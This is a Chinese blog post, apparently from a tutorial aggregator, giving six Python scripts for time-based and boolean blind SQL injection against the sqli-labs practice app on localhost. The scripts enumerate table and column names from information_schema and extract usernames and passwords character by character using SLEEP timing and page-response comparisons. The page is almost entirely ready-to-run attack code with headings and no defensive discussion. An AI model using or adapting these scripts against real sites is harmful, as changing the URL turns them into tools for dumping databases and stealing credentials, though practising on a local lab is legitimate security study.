当前位置: 首页 > news >正文

时间盲注,boolen盲注,获取表、列、具体数据的函数

时间盲注:

获取表:

import requests
import time
 
url = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
delay = 2
 
def is_injected(payload):
    start = time.time()
    try:
        requests.get(url, params={"id": f"1' AND {payload}-- "}, timeout=delay+1)
    except requests.exceptions.Timeout:
        return True
    return time.time() - start > delay
 
table = []
for pos in range(1, 30):
    for c in range(32, 127):
        payload = f"IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),{pos},1))={c},SLEEP({delay}),0)"
        if is_injected(payload):
            table.append(chr(c))
            print("".join(table))
            break
    else:
        break
 
print("".join(table))

获取列:

import requests
import time
 
url = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
delay = 2
table_name = "emails"
 
def is_injected(payload):
    start = time.time()
    try:
        requests.get(url, params={"id": f"1' AND {payload}-- "}, timeout=delay + 1)
    except requests.exceptions.Timeout:
        return True
    return time.time() - start > delay
 
column = []
for pos in range(1, 30):
    for c in range(32, 127):
        payload = f"IF(ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='{table_name}' LIMIT 1),{pos},1))={c},SLEEP({delay}),0)"
        if is_injected(payload):
            column.append(chr(c))
            print("".join(column))
            break
    else:
        break
 
print(''.join(column))

获取具体数据:

import requests
import time
 
url = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
delay = 2  #
table_name = "emails"
column_name = "id"
 
def is_injected(payload):
    start = time.time()
    try:
        requests.get(url, params={"id": f"1' AND {payload}-- "}, timeout=delay + 1)
    except requests.exceptions.Timeout:
        return True
    return time.time() - start > delay
 
data = []
for pos in range(1, 50):
    for c in range(32, 127):
        payload = f"IF(ASCII(SUBSTR((SELECT {column_name} FROM {table_name} LIMIT 1),{pos},1))={c},SLEEP({delay}),0)"
        if is_injected(payload):
            data.append(chr(c))
            print("".join(data))
            break
    else:
        break
 
print(''.join(data))

boolen盲注:

获取表:

import requests
url = 'http://127.0.0.1/sqli-labs-php7-master/Less-8?id=1%27'
payload = 'and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=' \
          'database()%20limit%20{t},1),{w},1))={A}%20--%20k'
list1 = [64, 94, 96, 124, 176, 40, 41, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 173, 175, 95, 65, 66, 67, 68, 69, 70, 71,
         72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103,
         104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 44]
str1 = "You are in..........."
str2 = bytes(str1, 'utf-8')
tables1 = ''
tables2 = ''
tables3 = ''
tables4 = ''
for i in range(0, 4):
    for j in range(1, 10):
        for s in list1:
            p = payload.format(t=i, w=j, A=s)
            u = requests.get(url+p)
            if str2 in u.content:
                if i == 0:
                    tables1 += chr(s)
                    print (u"正在对比第1个表,", u"第", j, u"个字符",tables1)
                elif i == 1:
                    tables2 += chr(s)
                    print (u"正在对比第2个表,", u"第", j, u"个字符", tables2)
                elif i == 2:
                    tables3 += chr(s)
                    print (u"正在对比第3个表,", u"第", j, u"个字符", tables3)
                elif i == 3:
                    tables4 += chr(s)
                    print (u"正在对比第4个表,", u"第", j, u"个字符", tables4)
                    break
print ('tables1-->', tables1)
print ('tables2-->', tables2)
print ('tables3-->', tables3)
print ('tables4-->', tables4)

获取列:

import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
         'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C',
         'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
         'Z', '.']
url = 'http://127.0.0.1/sqli-labs-php7-master/Less-8?id=1%27'
payload = '%20and%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security' \
          '%27%20and%20table_name=%27users%27%20limit%20{w},1),{n})=%27{c}%27%20--%20k'
 
column = ['', '', '', '', '']
str1 = 'You are in...........'
str2 = bytes(str1, 'utf-8')
for j in range(0, 3):
    for i in range(1, 9):
        for l in list1:
            p = payload.format(w=j, n=i, c=column[j]+l)
            u = requests.get(url+p)
            if str2 in u.content:
                column[j] += l
                print (u'正在对比第', j+1, u'个字段第', i, u'个字符', column[j])
                break
for c in range(0, 5):
    print ('column', c+1, '-->', column[c])

获取具体数据:

import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
         'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C',
         'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
         'Z', '.']
url = 'http://127.0.0.1/sqli-labs-php7-master/Less-8?id=1%27'
payload = '%20and%20left((select%20username%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
str1 = 'You are in...........'
str2 = bytes(str1, 'utf-8')
username = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
password = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
for i in range(1, 15):
    for j in range(1, 11):
        for l in list1:
            p = payload.format(n=i, w=j, d=username[i-1]+l)
            u = requests.get(url+p)
            if str2 in u.content:
                username[i-1] += l
                print (u'正在对比第', i, u'个记录的username的第', j, u'个字符', username[i-1])
payload2 = '%20and%20left((select%20password%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
for i in range(1, 15):
    for j in range(1, 11):
        for l in list1:
            p = payload2.format(n=i, w=j, d=password[i-1]+l)
            u = requests.get(url+p)
            if str2 in u.content:
                password[i-1] += l
                print (u'正在对比第', i, u'个记录的password的第', j, u'个字符', password[i-1])
print ('id    username    password')
for i in range(1, 15):
    print (i, '-', username[i-1], '-', password[i-1])

相关文章:

  • Python基于循环神经网络的情感分类系统(附源码,文档说明)
  • C++17并行化加速STL算法——std::execution
  • Perplexity 开源DeepSeek-R1 模型新版本 R1-1776
  • Angular 组件开发——组件的创建与交互
  • 如何选择免费进销存系统?推荐清单与关键考量
  • 整理一些安装环境的常用命令
  • 【机器学习】CNN与Transformer的表面区别与本质区别
  • 基于大牛直播SDK的Android平台低延迟RTSP|RTMP播放与录像技术实践
  • 社交编码|结对编程
  • unordered_map和unordered_set的模拟实现
  • 【OS安装与使用】part3-ubuntu安装Nvidia显卡驱动+CUDA 12.4
  • 全球化趋势下中资企业出海投资及合规运营实战分享
  • java练习(31)
  • 前沿计组知识入门
  • 实战开发coze应用-姓氏头像生成器(上)
  • 【前端学习笔记】Vite
  • 如何维护和保养直线模组?
  • docker安装kafka,并通过springboot快速集成kafka
  • 【大模型】AI 辅助编程操作实战使用详解
  • elementui中aria-hidden报错
  • 海关总署统计分析司司长:4月进出口增速较一季度加快4.3个百分点
  • 中消协点名新能源汽车行业:定金退款争议频发
  • 深圳下调公积金利率,209万纯公积金贷款总利息减少9.94万
  • 联想发布超级智能体矩阵,杨元庆:美国关税影响反映在产品定价上,未来不确定性很大
  • 外交部回应西班牙未来外交战略:愿与之一道继续深化开放合作
  • 印媒证实:至少3架印军战机7日在印控克什米尔地区坠毁